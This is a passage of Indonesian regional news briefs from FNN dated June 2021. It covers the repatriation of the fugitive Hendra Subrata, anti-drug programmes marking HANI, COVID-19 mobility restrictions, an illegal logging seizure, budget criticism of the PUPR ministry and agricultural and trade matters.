berhasil mengidentifikasikan kedua nama tersebut merupakan orang yang sama," ujarnya. Ia mengatakan paspor atas nama Endang Rifai alias Hendra Subrata telah ditarik dan diterbitkan Surat Perjalanan Laksana Paspor (SPLP) untuk pemulangan yang bersangkutan ke Indonesia. "Endang Rifai alias Hendra Subrata rencananya dipulangkan ke Indonesia Sabtu 26 Juni 2021 dengan penerbangan dari Singapura ke Bandara Soekarno-Hatta," ujar dia. Selanjutnya yang bersangkutan akan diserahkan ke Kejaksaan Agung. Hendra Subrata diduga melanggar pasal 126 huruf C Undang-Undang nomor 6 tahun 2011 tentang Keimigrasian yaitu memberikan data tidak sah, dan keterangan yang tidak benar untuk memperoleh dokumen perjalanan Republik Indonesia, bagi dirinya sendiri atau orang lain. Perbuatan tersebut diancam pidana penjara paling lama lima tahun dan pidana denda paling banyak Rp500 juta. (sws)

Pemkab Bogor Ajak Milenial Kenali Bahaya Narkoba pada Peringatan HANI

Cibinong, Bogor, FNN - Pemerintah Kabupaten (Pemkab) Bogor, Jawa Barat, mengajak para milenial untuk mengenali bahaya narkoba dalam memperingati Hari Anti Narkoba Internasional (HANI) yang jatuh pada 26 Juni. Asisten Pemerintahan Pemkab Bogor, Hadijana, dalam webinar "Peran Percepatan Pembangunan Terhadap Pencegahan Bahaya Narkoba di Kabupaten Bogor bagi Kaum Milenial", Sabtu, menyebutkan bahwa Pemkab Bogor melalui program utama Pancakarsa fokus menyelesaikan masalah sosial, di antaranya penyalahgunaan narkoba. "Dalam program Pancakarsa, khususnya Karsa Bogor Berkeadaban, di situ peran kita untuk menyelesaikan masalah-masalah sosial seperti penyalahgunaan narkoba dalam rangka mewujudkan kesalehan sosial," ujar Hadijana. Sementara itu, Kepala Badan Nasional Narkotika Kabupaten (BNNK) Bogor, Sably Noer mengaku gencar melakukan berbagai program seperti sosialisasi dan penyuluhan untuk melindungi milenial dari peredaran narkoba. Anggota Tim Percepatan Pembangunan Strategis Kabupaten Bogor, Saepudin Muhtar alias Gus Udin menambahkan, Pemkab Bogor menurutnya telah membentuk Tim Reaksi Cepat (TRC) Satpol PP yang diharapkan mampu menekan peredaran narkoba di Kabupaten Bogor. Dosen Universitas Djuanda itu menganggap program-program yang dirancang oleh Pemkab Bogor juga fokus terhadap keberlangsungan dan produktifitas generasi milenial, seperti Teras Milenal dan Creative Center. "Generasi milenial adalah aset yang harus dijaga karena estafet kepemimpinan masa depan ada di tangan mereka. Maka, di sinilah pentingnya percepatan pembangunan untuk generasi milenial," tutur Gus Udin. Sebagai informasi, webinar yang melibatkan puluhan milenial itu diselenggarakan Pemkab Bogor bersama Forum Komunikasi Pemuda Pencegahan dan Pemberantasan Penyalahgunaan dan Peredaran Gelap Narkoba (FKP-P4GN). (sws)

Pemkot Medan Bangun Ruang Literasi Untuk Cegah Peredaran Narkoba

Medan, FNN - Pemerintah Kota (Pemkot) Medan, Provinsi Sumatera Utara, berencana membangun ruang literasi dan sarana olahraga di sejumlah lokasi hingga tingkat kelurahan dalam upaya mencegah peredaran narkoba, khususnya pada kaum remaja. "Salah satu program Pemkot Medan adalah bagaimana ke depannya bisa menyediakan lapangan olahraga, atau pun sudut literasi bahkan sampai ke tingkat kelurahan untuk mencegah anak-anak muda terlibat narkoba," kata Wali Kota Medan Bobby Nasution saat acara talkshow Hari Anti Narkotika Internasional 2021 di Taman Lili Suheri, Medan, Sabtu. Ia mengaku sering menerima keluhan dari masyarakat bahwa lokasi yang kerap dijadikan sebagai tempat para remaja untuk menggunakan narkoba, adalah lahan-lahan kosong yang jarang terpantau. Untuk itu, ia menyebut akan memanfaatkan lahan kosong tersebut untuk membangun ruang literasi dan sarana olahraga, agar bisa dimanfaatkan para kaum remaja untuk melakukan kegiatan-kegiatan yang lebih positif dan bermanfaat. "Lapangan kosong yang ada di kelurahan itu bisa dimanfaatkan untuk membangun lapangan futsal, bulu tangkis. Kita harus support lapangan seperti itu, hanya butuh kita tambahkan wifi, itu bisa jadi tempat yang efektif untuk mengantisipasi mencegah narkoba. Ini yang ke depannya akan kami lakukan," ujarnya. Menurutnya tingginya tingkat peredaran dan penggunaan narkoba di kalangan remaja disebabkan kurangnya aktivitas yang dapat mengalihkan pemikiran untuk mengkonsumsi narkoba. Untuk itu ia berharap, dengan dibangun-nya ruang literasi dan sarana olahraga tersebut, dapat mencegah peredaran narkoba, khususnya di kalangan remaja. "Kita mau mengembalikan anak-anak atau kaum muda bisa memanfaatkan waktu kosongnya lebih efektif. Harus bisa disisipkan waktunya ini oleh kegiatan yang lebih berguna," ujarnya. (sws)

Bupati Karawang Minta Warga Lapor Jika Ada Tempat Hiburan "Nakal"

Karawang, FNN - Bupati Karawang Cellica Nurrachadian meminta masyarakat melapor jika mengetahui ada tempat hiburan malam dan kafe "nakal" yang buka hingga di atas pukul 20.00 WIB selama Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Mikro. "Sekarang ini telah diberlakukan PPKM Mikro, dan ada beberapa hal yang harus dipatuhi pelaku usaha, di antaranya pembatasan operasional," katanya di Karawang, Jabar, Sabtu. PPKM Mikro di Karawang telah diperpanjang kesepuluh kali, kali ini diberlakukan mulai 22 Juni hingga 5 Juli 2021. Seiring dengan hal tersebut, dilakukan pembatasan jam operasional tempat hiburan malam dan kafe yang ada di wilayah Karawang. Bupati menyampaikan, Tim Satgas Penanganan COVID-19 Karawang terus melakukan razia dan patroli selama penerapan PPKM Mikro tersebut. Ia juga meminta agar masyarakat aktif terkait PPKM Mikro. Masyarakat diminta segera melapor ke pihak kepolisian atau Satgas Penanganan COVID-19 jika mengetahui adanya tempat hiburan malam atau kafe yang buka melebihi batas waktu yang telah ditentukan. Bupati mengaku akan memberikan sanksi bagi pelaku usaha nakal yang buka atau beroperasi hingga melebihi pembatasan jam operasional, yakni maksimal pukul 20.00 WIB. "Kita akan tutup tempat usaha yang belum boleh buka selama PPKM. Pokoknya, sebelum adanya peraturan yang membolehkan tempat usaha buka, tapi tetap buka, akan kita tindak tegas," ujar bupati. (sws)

Ganjil-Genap 5.088 Kendaraan Diputarbalik Arah di Kota Bogor

Bogor, FNN - Pelaksanaan ganjil-genap bagi kendaraan bermotor di kota Bogor, Jabar, pada Sabtu ada sebanyak 5.088 kendaraan bermotor yang di putarbalik arah oleh petugas gabungan di lima lokasi "check point". Kapolresta Bogor Kota, Kombes Pol Susatyo Purnomo Condro, di Kota Bogor mengatakan, sebanyak 5.088 kendaraan yang di putarbalik arah karena pelat nomor-nya ganjil, tidak sesuai dengan tanggal pada kalender hari ini yakni genap. Menurut Susatyo pelaksanaan kebijakan ganjil-genap bagi kendaraan bermotor di Kota Bogor yang dilaksanakan Polresta Bogor Kota mengizinkan kendaraan bermotor masuk dan melintas di Kota Bogor dengan pelat nomor yang sesuai dengan tanggal pada kalender. "Pada Sabtu hari ini adalah tanggal genap sehingga kendaraan yang diizinkan dengan pelat nomor genap, sedangkan pada hari Minggu besok adalah tanggal ganjil sehingga kendaraan yang diizinkan dengan pelat nomor ganjil," tutur-nya. Dari sebanyak 5.088 kendaraan bermotor yang di putarbalik arah, terdiri dari 2.392 kendaraan roda dua dan 2.696 kendaraan roda empat. Kendaraan tersebut di putarbalik arah oleh petugas gabungan di lima lokasi "check point" yakni di pertigaan depan terminal Baranangsiang, di Jalan Raya Pajajaran depan Restoran Bumi Aki, di Bunderan Air Mancur Jalan Sudirman, di Jalan Kapten Muslihat dekat Irama Nusantara, serta di simpang Jalan Empang. "Semua kendaraan bermotor yang di putarbalik arah, tidak ada yang diberikan sanksi administratif maupun sanksi teguran, tapi hanya diingatkan agar menggunakan kendaraan sesuai dengan tanggal di kalender," ucap-nya. Selain menyiapkan lima lokasi "check point", Polresta Bogor Kota juga menyiapkan empat lokasi pos pengalihan arus, yakni di interchange Bogor tol Jagorawi, di interchage Ciawi tol Jagorawi, di pintu tol BORR Kedunghalang, serta terusan Jalan Juanda menuju ke simpang Empang, menjadi satu arah. Wali Kota Bogor Bima Arya mengatakan, kebijakan ganjil-genap bagi kendaraan bermotor dengan melakukan penyekatan di lima lokasi "chek point", tujuannya bukan untuk kelancaran arus lalu lintas, tapi untuk mengurangi mobilitas warga, guna menekan penularan virus Corona di Kota Bogor. "Kebijakan ganjil-genap ini juga memberikan pesan kepada warga Jakarta dan sekitarnya untuk mengurangi mobilitas-nya ke kota Bogor," kata Bima Arya selaku ketua Satgas Penanganan COVID-19 Kota Bogor. Menurut Bima, kebijakan ganjil-genap bagi kendaraan bermotor ini diberlakukan pada jam 10.00 WIB hingga 16.00 WIB, karena banyak warga Jakarta dan sekitarnya yang berkunjung ke Bogor pada sekitar waktu tersebut. Wali Kota, Kapolresta, dan Dandim Kota Bogor melakukan pengawasan pada pelaksanaan ganjil-genap bagi kendaraan bermotor ini untuk memastikan koordinasi di lapangan berjalan dengan baik dan persuasif. (sws)

Buronan Lansia Hendra Subrata Tiba di Jakarta Setelah 10 Tahun Buron

Jakarta, FNN - Setelah 10 tahun menghilang sejak divonis empat tahun oleh Majelis Hakim Pengadilan Negeri Jakarta Barat atas kasus percobaan pembunuhan, terpidana Hendra Subrata yang kini berusia 81 tahun tiba di Jakarta, Sabtu malam. Hendra Subrata alias Anyi diterbangkan dari Singapura menggunakan pesawat Garuda Indonesia dengan nomor penerbangan GA 837 pukul 18.45 WIB. Dari gambar yang beredar di internet, Hendra Subrata dibawa menggunakan kursi roda menuju kabin pesawat. Setibanya di Jakarta, Hendra Subrata selanjutnya menjalani eksekusi pidana kurungan atas kasus percobaan pembunuhan terhadap Hermanto Wibowo yang tak lain rekan bisnis-nya. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejagung Leonard Eben Ezer Simanjuntak mengatakan Hendra Subrata alias Anyi adalah buronan masuk dalam Daftar Pencarian Orang (DPO) Kejaksaan Negeri Jakarta Barat. "Saat ini berada di Singapura dia menggunakan paspor atas nama Endang Rifai," ucap Leonard Keberadaan Hendra Subrata terdeteksi di Singapura saat hendak memperpanjang paspor pada Februari 2021 di Kedutaan Besar Republik Indonesia di Singapura. Namun, saat itu Hendra sudah berganti identitas dengan menggunakan paspor atas nama Endang Rifai. Saat wawancara dan penelitian berkas, petugas Atase Imigrasi KBRI Singapura curiga dengan Endang Rifai. Ditambah yang bersangkutan mulai gelisah dan marah saat proses wawancara berlangsung lama. Petugas mencoba menelusuri dengan menanyakan nama istri-nya, karena Hendra mengaku harus buru-buru kembali untuk merawat istri-nya yang sedang sakit. Ketika petugas Atase Imigrasi menanyakan siapa nama istri-nya, Hendra menyebutkan nama Linawaty Widjaja. Dari penelusuran petugas Atase Imigrasi didapati nama Linawaty Widjaja, namun nama suami yang dituliskan bukan Endang Rifai melainkan Hendra Subrata. Hasil cek ulang yang dilakukan Atase Imigrasi dan Atase Kepolisian dengan Direktorat Jenderal Imigrasi dan Kepolisian RI mendapati bahwa Endang Rifai adalah Hendra Subrata yang sudah DPO selama 10 tahun. Jaksa Agung Republik Indonesia tanggal 19 Februari 2021 telah berkomunikasi dan meminta bantuan Duta Besar Luar Biasa dan Berkuasa Penuh Indonesia untuk Singapura agar dapat membantu pemulangan buronan terpidana Hendra Subrata alias Anyi alias Endang Rifai ke Indonesia. "Semula direncanakan pemulangan DPO Hendra Subrata dilakukan bersamaan dengan pemulangan buronan terpidana Adelin Lis dengan menggunakan pesawat khusus yang telah dipersiapkan Kejaksaan Republik Indonesia (pesawat Charter)," papar Leonard. Tetapi karena pemulangan Adelin Lis tidak diizinkan menggunakan pesawat yang disewa Kejaksaan Agung, maka keduanya dipulangkan terpisah. Bedanya, Hendra Subrata lebih kooperatif dibanding Adelin Lis saat dipulangkan sesuai jadwal kepulangan dari Kejaksaan Agung. Perlakuan pemulangan Imigrasi Singapura kepada Hendra nisbi sama. Ia diberangkatkan dari Kantor ICA di Kallang dan langsung masuk ke dalam pesawat. Proses check-in dilakukan oleh petugas ICA sebelumnya. Pengadilan Negeri Jakarta Barat memvonis Hendra selama empat tahun penjara pada 2010. Upaya banding dan kasasi yang dilakukan ditolak. Ketika akan dieksekusi sesuai putusan kasasi Mahakamah Agung dia melarikan diri. Polda Metro Jaya menerbitkan surat daftar pencarian orang dari Kejaksaan Negeri Jakarta Barat pada 28 September 2011. Selama 10 tahun Hendra menghilang dan tidak pernah menjalani hukumannya. Setibanya di Indonesia, Hendra Subrata akan menjalani hukuman pidana empat tahun seperti putusan Pengadilan Negeri Jakarta Barat. (sws)

Polres Kendari Gagas Pembentukan Kampung Tangguh Antinarkoba

Kendari, FNN - Satuan Reserse Narkoba Polres Kendari, Sulawesi Tenggara (Sultra), menggagas pembentukan Kampung Tangguh Antinarkoba guna mencegah, memberantas dan memerangi penyalahgunaan narkoba di daerah itu. Kepala Satuan Reserse Narkoba Polres Kendari IPTU Ridwan Koto di Kendari, Sabtu, mengatakan saat ini pihaknya telah menentukan satu kelurahan di Kota Kendari yang akan dijadikan sebagai kelurahan percontohan (pilot project) dalam penanganan kasus narkoba. "Kita sudah menetapkan Kelurahan Wawanggu, Kecamatan Kadia sebagai pilot project (percontohan)," kata Ridwan saat ditemui di sela-sela vaksinasi massal yang dilaksanakan Polres Kendari. Ia menyampaikam bahwa langkah itu juga merupakan dalam rangka memperingati Hari Anti Narkotika Internasional (HANI) yang ditetapkan hari ini 26 Juni 2021. Ia menjelaskan alasan pihaknya memilih Kelurahan Wawanggu sebagai kelurahan percontohan dalam penanganan kasus narkoba, sebab di daerah itu sebelumnya pihaknya telah mengamankan barang bukti (BB) sebanyak 1 kg narkoba golongan 1 jenis sabu-sabu. "Itu pilot project-nya di sana (Kelurahan Wawanggu). Nanti kalau berhasil semua kelurahan bisa menjadi sasaran untuk berikutnya," ucap dia. Mantan Kapolsek Kemaraya ini menuturkan dalam menggagas Kelurahan Wawanggu sebagai Kampung Tangguh Antinarkoba, pihaknya telah mendapatkan dukungan mulai dari Wali Kota Kendari, BNN Kendari, pemerintah kecamatan/kelurahan, karang taruna termasuk tokoh masyarakat setempat. "Kita datangi semua mulai dari wali kota, BNN kota dan juga dari Kecamatan Kadia dan kelurahan Wawanggu, karang taruna serta tokoh masyarakat. Kita tanda tangan bersama itu sebagai komitmennya," ujarnya. Nantinya warga di kelurahan itu bakal diedukasi dan diberdayakan dalam upaya mencegah, memberantas dan memerangi penyalahgunaan narkoba. Meski demikin ia belum memastikan kapan kelurahan tersebut diluncurkan secara resmi sebagai Kampung Tangguh Antinarkoba. "Untuk konsepnya itu kami berkomitmen dengan BNN kota dengan kelurahan kita akan memberdayakan warga di sana. Jadi kalau, misalkan, ada indikasi-indikasi orang-orang yang dicurigai, jadi mereka tidak langsung turun tangan untuk menghindari kekerasan. Mereka dari sana melapor ke kita, kita yang akan ke sana," tutur Ridwan. (sws)

Ditpolairud Polda Kalteng Sita 400 Batang Kayu Ilegal di Kotim

Sampit, FNN - Direktorat Polairud Polda Kalimantan Tengah mengungkap tindak pidana pengangkutan kayu ilegal atau illegal logging dengan barang bukti 400 batang kayu tanpa dokumen di Sungai Mentaya, Kabupaten Kotawaringin Timur. "Ini masih dalam proses penyidikan lebih lanjut. Ini masih dikembangkan terkait kayu ini akan dijual ke mana dan siapa yang penyandang dananya. Semoga kasus ini bisa kita ungkap semaksimal mungkin sampai ketemu jaringannya," kata Kapolda Kalteng Irjen Pol Dedi Prasetyo, di Sampit, Sabtu. Kapolda didampingi Irwasda Kombes Pol Iman Prijantoro dan Direktur Polairud Kombes Pol Pitoyo Agung Yuwono saat memberi keterangan pers di Markas Komando Ditpolairud Polda Kalimantan Tengah di Dusun Belanti, Kecamatan Mentawa Baru, Ketapang. Dedi menjelaskan, pengungkapan kasus illegal logging ini terjadi pada 9 Juni lalu. Lokasinya di daerah aliran Sungai Mentaya Desa Kenyala Kecamatan Kota Besi yang berjarak sekitar 80 kilometer dari Markas Komando Ditpolairud. Kayu-kayu Meranti itu diperkirakan berasal dari hutan di kawasan Desa Kenyala. Rakit kayu tersebut ditemukan di muara, sebelum berhasil ditarik menyeberang ke Sungai Mentaya dari sungai kecil di Kenyala. Saat penindakan, polisi mengamankan seorang pria berinisial K (39) yang sedang menarik rakit kayu tersebut. Warga Tersangka berinisial K (39) warga Desa Tumbang Penyahuan Kecamatan Bukit Santuai itu kini sudah ditetapkan menjadi tersangka. Polisi menyita 400 batang atau 191,16 meter kubik kayu diduga ilegal serta sebuah kelotok sebagai barang bukti perkara tersebut. Kini rakit kayu gelondongan itu sudah diamankan di samping dermaga Ditpolairud Polda Kalimantan Tengah. "Pasal yang dilanggar yaitu Pasal 83 ayat (1) huruf b Jo Pasal 12 huruf e dan Pasal 88 ayat (1) huruf a Jo Undang-Undang Republik Indonesia Nomor 18 tahun 2013 tentang Pencegahan dan Pemberantasan Perusakan Hutan," ucap Dedi menegaskan. Sementara itu, Direktur Polairud Kombes Pol Pitoyo Agung Yuwono menambahkan, pengungkapan kayu ilegal itu berawal dari informasi masyarakat tentang adanya kegiatan "illegal logging". Pihaknya tetap mengembangkan penyidikan untuk menelusuri jaringan pelaku karena tidak mungkin tersangka hanya satu orang, tetapi diduga masih ada tersangka yang lain. "Tersangka adalah orang yang menarik atau mengangkut. Penyandang dananya sudah dikantongi identitas-nya. Kan tidak mungkin kalau baru pertama tapi sudah berani mengangkut ratusan batang. Kita akan mencari alat bukti yang lain untuk mengungkap sudah berapa kali tersangka sesungguhnya melakukan ini," ujarnya. Pitoyo Agung mengatakan, pihaknya masih membuka diri bagi masyarakat yang mengetahui dan ingin memberikan tambahan informasi dalam penyelidikan kasus ini ataupun pada kejadian-kejadian yang lain di sepanjang daerah aliran sungai di wilayah Polda Kalimantan Tengah. "Saat ini baru satu orang tersangka. Tapi, masih terbuka peluang kita menetapkan tersangka yang lain, makanya masih kami gali lagi melalui penyidikan," tutur Pitoyo Agung. Akibat pembalakan dan bisnis kayu ilegal itu, negara menderita kerugian dari dana yang tidak disetor kepada negara berupa dana provisi sumber daya hutan (PSDH) sebesar Rp8.557.870 dan dana reboisasi (DR) sebesar 2.225,97 dolar Amerika. Ditpolairud sudah mengajukan izin kepada Pengadilan Negeri Sampit untuk melelang kayu sitaan tersebut. Koordinasi juga dilakukan dengan Kantor Pelayanan Kekayaan Negara dan Lelang sebelum lelang tersebut diumumkan kepada masyarakat. (sws)

Gubernur: Bontang Berpotensi Swasembada Ikan

Samarinda, FNN - Gubernur Kalimantan Timur Isran Noor menilai Kota Bontang berpotensi mencapai swasembada produksi ikan, sehingga dapat memenuhi kebutuhan di Provinsi Kaltim dan juga luar daerah. "Komoditas perikanan di wilayah Kaltim khususnya di Kota Bontang ini sangat bagus, apalagi ditunjang dengan pembinaan para petani ikannya baik oleh pemerintah maupun swasta melalui sejumlah perusahaan," katanya saat meninjau Pangkalan Pendaratan Ikan (PPI) Tanjung Limau, Bontang, Kaltim, Sabtu. Secara nasional, konsumsi ikan sebanyak 32 kilogram per kapita per tahun, sedangkan konsumsi masyarakat Kaltim mencapai 58 kilogram per kapita per tahun. Isran mengharapkan kekayaan alam yang bersumber dari laut dan sungai ini bisa dimaksimalkan untuk peningkatan perekonomian dan kesejahteraan masyarakat. Dalam kesempatan itu, Isran singgah di keramba jaring apung (KJA) binaan PT Pupuk Kaltim dan rombongan disajikan makanan hasil laut yang dikelola kelompok nelayan Etam Mandiri. Hasil laut yang dikelola oleh kelompok nelayan Tanjung Limau antara lain ikan kerapu dan udang lobster. Menurut Sekretaris Perusahaan Pupuk Kaltim Teguh Ismartoni bantuan dana CSR kepada kelompok nelayan KJA yang diberikan sejak 2016 hingga 2020 sebanyak Rp3 miliar. "Kami tidak mengambil untung, kami hanya membantu pemberdayaan ekonomi masyarakat pesisir," katanya. (mth)

Anggaran Kemen PUPR Rp 131,82 Triliun Rawan Korupsi

Jakarta, FNN - Anggaran Kementerian Pekerjaan Umum dan Perumahan Rakyat (Kemen PUPR) tahun 2021 melambung tinggi. Meskipun ada recofusing untuk Covid-19 sebesar Rp 17,99 triliun. Anggaran awal Rp 149,81 triliun menjadi Rp 131,82 triliun. Dibanding anggaran yang dihabiskan tahun 2020 Rp 75,6 triliun kenaikannya cukup fantastis sebesar Rp 56 triliun. Center for Budget Analysis (CBA) menilai anggaran Kemen PUPR yang fantastis berpotensi besar disalahgunakan karena masih banyak persoalan yang belum dituntaskan. Berikut penjelasan Koordinator CBA Jajang Nurjaman: “Pertama, 9 program dari 13 program utama Kemen PUPR kami nilai tidak produktif,” ujar Jajang Nurjaman. Contohnya program penelitian pada 2020 menghabiskan Rp 365,1 miliar, belum lagi program untuk sarana prasarana pejabat Kemen PUPR tahun 2020 sangat besar Rp 235,7 miliar, serta program pengendalian lumpur Sidoarjo sebesar Rp 239,8 miliar. Program tidak produktif ini akan terus dijalankan Kemen PUPR dan menjadi beban keuangan negara. Di sisi lain, berdasarkan temuan Badan Pemeriksa Keuangan (BPK) khusus pada 2019 terdapat 130 kasus pada Kemen PUPR dan nilai potensi kerugian negara sebesar Rp 998,3 miliar. Hal ini juga sangat paradoks karena setiap tahunnya Kemen PUPR memiliki program pengawasan dan peningkatan akuntabilitas aparatur Kemen PUPR setiap tahunnya dengan anggaran di atas Rp 100 miliar. Jika ditotal, rata-rata anggaran tidak produktif Kemen PUPR setiap tahunnya memboroskan anggaran sebesar Rp 2,7 triliun. “Selanjutnya, aturan yang dikeluarkan Kemen PUPR terkait proyek infrastruktur (Permen 07/PRT/M/2019) kami anggap banyak masalah,” ungkap Jajang Nurjaman kepada FNN. Salah satunya bobot penilaian teknis dibanding penilaian harga sangat jomplang 70:30. Hal ini bisa berdampak nilai proyek yang dijalankan Kemen PUPR mahal dan boros. Contohnya dalam proyek Ciujung Priorty Civil Works Package 3 tahun 2020 dimenangkan PT Pembangunan Perumahan dengan nilai proyek Rp 248,4 miliar. Nilai proyek ini sangat mahal dibanding tawaran PT CPK senilai Rp 233,3 miliar, meskipun ada selisih Rp 15 miliar tapi kalah karena masalah penilaian teknis. Berdasarkan catatan di atas, Lembaga CBA meminta Presiden Joko Widodo mengevaluasi menteri Basuki Hadi Mulyono karena di bawah kepemimpinannya banyak pemborosan anggaran. Selain itu, CBA mendesak, pihak penegak hukum khususnya KPK harus segera turun tangan melakukan penyelidikan atas proyek PUPR. (mth)

Satgas TNI Latih Keterampilan Warga di Perbatasan Buat Bonsai

Keerom, FNN - Prajurit TNI Satuan Tugas Pamtas RI-PNG Yonif 131/Brs Pos Mosso memberikan ketrampilan kerajinan membuat bonsai dari tunas kelapa kepada warga Mosso di Kampung Mosso Distrik Muara Tami, Jayapura.. Dansatgas Pamtas RI-PNG Yonif 131/Brs Letkol Inf Muhammad Erfani dalam keterangan,Sabtu mengatakan, kegiatan pelatihan ketrampilan bonsai untuk warga dilakukan personel Pos Mosso pimpinan Letda inf Eri Hermawan dalam memanfaatkan tunas kelapa yang sering ditemukan di seputaran perkarangan. "Apapun di dalam kebun-kebun menjadi barang yang bermanfaat sehingga mempunyai nilai jual," ujarnya. Dansatgas mengakui, hasil dari kreativitas warga dalam membuat kerajinan bonsai dari tunas kelapa bisa dijual sehingga meningkatkan pendapatan masyarakat serta membangkitkan sektor UMKM pada masyarakat. Ditempat terpisah Danpos Mosso Letda Inf Eri Hermawan dengan penuh semangat membimbing para warga agar bisa membuat kerajinan tangan dari tunas kelapa. Prosesi membuat bonsai dimulai dari menyiapkan tunas kelapa, mengupas kelapa, menghaluskan, mempernis dan meletakkan tunas kelapa di atas pot sehingga tunas kelapa kelihatan karya seni yang indah bernilai tinggi siap untuk dijual. "Adanya pelatihan ini bisa menarik minat para masyarakat untuk lebih meningkatkan kreativitas dalam pembuatan karya seni yang bernilai tinggi dan dapat meningkatkan perekonomian pada masyarakat Kampung Mosso," jelas Danpos Mosso Dansatgas mengatakan, dengan memanfaatkan tunas kelapa di sekitar tempat tinggal warga, hasil kerajinan ini diharapkan dapat menjadi sumber penghasilan warga yang dapat dijual dan bisa juga sebagai cinderamata. Sementara itu, Ketua RW Kampung Mosso Urban (43) menyampaikan ucapan terima kasih atas pelatihan keterampilan yang dilakukan Satgas Yonif 131/Brs kepada warganya. "Semoga keterampilan yang diajarkan satgas TNI akan bermanfaat untuk warga Mosso,"harap Urban. (mth)

Mendag Pastikan Harga Pangan Stabil Jelang Idul Adha

Medan, FNN - Menteri Perdagangan (Mendag) Muhammad Lutfi memastikan berbagai harga pangan atau barang kebutuhan pokok stabil dan ketersediaan pasokan aman menjelang Hari Raya Idul Adha 1442 Hijriah. "Ya, ini kan salah satu perayaan hari besar nasional. Kita kan wajib menjaga. Insya Allah, stoknya ada dan terjamin," terang Lutfi yang ditemui saat mendampingi Menteri BUMN Erick Thohir di Sentra Vaksinasi Bersama BUMN, Bandara Polonia Medan, Sumatera Utara, Sabtu. Meski perayaan bagi umat muslim itu tidak sampai sebulan lagi, lanjut Menteri, namun pihaknya tetap melakukan pemantauan ketersediaan pasokan sejumlah komoditas pokok agar harga tetap stabil di pasaran. Ia mengaku, dengan adanya ketersediaan barang kebutuhan pokok dan lancarnya pasokan dari sentra produksi, maka bisa meredam gejolak harga bila kemungkinan terjadi walau di tengah pandemi COVID-19. "Insya Allah, karena stok terjamin, maka harga terjangkau. Kita tidak ada impor dan semuanya biasa. Seperti beras, kita panen tahun ini bagus sekali. Jadi, saya tidak menghitung adanya impor," tegas dia. Sedangkan untuk komoditas, di antaranya gula pasir, minyak goreng, daging sapi, daging ayam dan lain sebagainya dipastikan tetap terjaga pasokannya. "Karena menurut perhitungan (produksi) gula pasir kita pada tahun ini, tidak lebih buruk dari tahun sebelumnya. Jadi, mestinya semuanya aman," kata Menteri Lutfi. (mth)

Aspekpir Perkuat Kemitraan Pekebun dengan Pabrik Kelapa Sawit

Jakarta, FNN - Asosiasi Petani Kelapa Sawit Perkebunan Inti Rakyat (Aspekpir) menyiapkan program untuk memperkuat kemitraan antara pekebun atau petani dengan pabrik pengolahan kelapa sawit (PKS) guna meningkatkan kesejahteraan petani. Direktur Eksekutif Aspekpir Indonesia Hendra J Purba di Jakarta, Sabtu mengatakan kelapa sawit seperti halnya tebu dan teh merupakan komoditas perkebunan yang harus terintegrasi dengan unit pengolahannya. "TBS (tandan buah segar) harus segera masuk ke PKS untuk menjaga mutu CPO. Pada masa lalu, ketika awal keberadaan petani lewat PIR mekanismenya sudah sangat bagus sekali," ujarnya melalui keterangan tertulis. Menurut dia, kemitraan harus kembali disambung antara perusahaan dan pekebun apalagi saat ini banyak petani kelapa sawit yang tidak mengerti tentang bibit ilegitim dan kesulitan mendapatkan pupuk, selain itu petani juga harus melembaga. Di sini lah peran perusahaan bisa masuk, lanjutnya, mata rantai yang panjang yang selama ini dipangkas harus diperpendek kembali. Hendra menyatakan hubungan pekebun dengan PKS tidak lagi hanya sekadar jual beli tetapi harus kemitraan dengan petani mendapat pembinaan panen yang baik sehingga tidak perlu grading lagi di pabrik. "Salah satu program Aspekpir adalah meningkatkan kemitraan yang sedang berjalan dan mengikat kembali kemitraan yang sudah terputus, terutama pada kelembagaan yang menurun kinerjanya setelah lepas kemitraan. Sedang petani swadaya kalau mau bermitra Aspekpir juga siap membantu," katanya. Dia menegaskan petani juga kalau sudah kemitraan harus berkomitmen untuk menjual TBS sawitnya pada pabrik yang membina karena banyak kejadian petani yang sudah menjalin kemitraan malah menjual pada pihak lain yang berani membeli dengan harga tinggi. Hal itu, tambahnya, harus dihindari karena kemitraan harus bermotif bisnis yang saling menguntungkan dan sejajar yang mana kedua belah pihak harus punya komitmen. "Kalau semuanya untung pasti kemitraan akan terus berjalan. Saat ini koperasi-koperasi petani sawit yang maju sebagian besar adalah koperasi yang bermitra dengan perusahaan," kata Hendra. Perusahaan juga diminta serius dalam pembinaan sehingga petani bisa menerapkan GAP dan TBS yang dihasilkan mutunya sesuai spesifikasi pabrik sehingga kerja PKS menjadi lebih ringan karena tidak perlu grading lagi dan dari keuntungan PKS sebaiknya ada insentif bagi petani selain harga sesuai kesepakatan. Ditambahkanya perusahaan menyisihkan sebagian keuntungan pada petani yang mampu memberikan TBS berkualitas sehingga dengan cara ini kemitraan akan semakin langgeng. Sesuai UU Perkebunan, tambahnya, maka ke depan tidak ada lagi pemasok TBS dalam bentuk CV atau PT tetapi koperasi petani atau kelembagaan ekonomi petani lainnya. Hendra menyatakan rencana Pemprov Jambi yang akan menyusun zonasi pasokan TBS petani ke PKS dan harus bermitra patut didukung. Pemprov Jambi, menurut Kadisbun Agurrizal, sudah ada perda yang mengatur supaya PKS tidak boleh membeli TBS yang kebunnya jauh dari lokasi pabrik. Pemprov sedang menghitung kapasitas pabrik dan luasan kebun yang diperlukan yang mana nanti lewat pergub langsung dimitrakan antara PKS dengan petani di zona itu. (mth)

Mentan: Pemulihan Ekonomi Bisa Melalui Pengembangan Riset Pertanian

Probolinggo, FNN - Menteri Pertanian Syahrul Yasin Limpo mengatakan pemulihan ekonomi dapat dilakukan melalui pengembangan riset pertanian, sehingga pihaknya mengapresiasi hasil riset yang dilakukan oleh Balai Penelitian Tanaman Aneka Kacang dan Umbi (Balitkabi) Balitbangtan. "Itu harus disebarkan dan diaplikasikan secara masif di wilayah lain, agar sektor pertanian terus bergerak dan berperan dalam pemulihan ekonomi nasional," katanya saat meresmikan Instalasi Penelitian dan Pengkajian Teknologi Penelitian (IP2TP) di Desa Muneng, Kabupaten Probolinggo, Jawa Timur, Sabtu. Ia mengatakan pihaknya hadir bersama Komisi IV DPR tidak lain untuk mengakselerasi daerah dan Bupati Probolinggo dalam rangka mempersiapkan varietas kedelai dalam skala masif yaitu varietas Detam. "Saya berharap varietas itu terus dikembangkan dengan memperluas dan meningkatkan jumlah bibit sebar. Kementan siap untuk mengintroduksi kepada wilayah-wilayah yang cocok ditanami bibit tersebut," tuturnya. Mentan berharap Probolinggo berhasil bukan hanya di sektor pertanian dalam jumlah 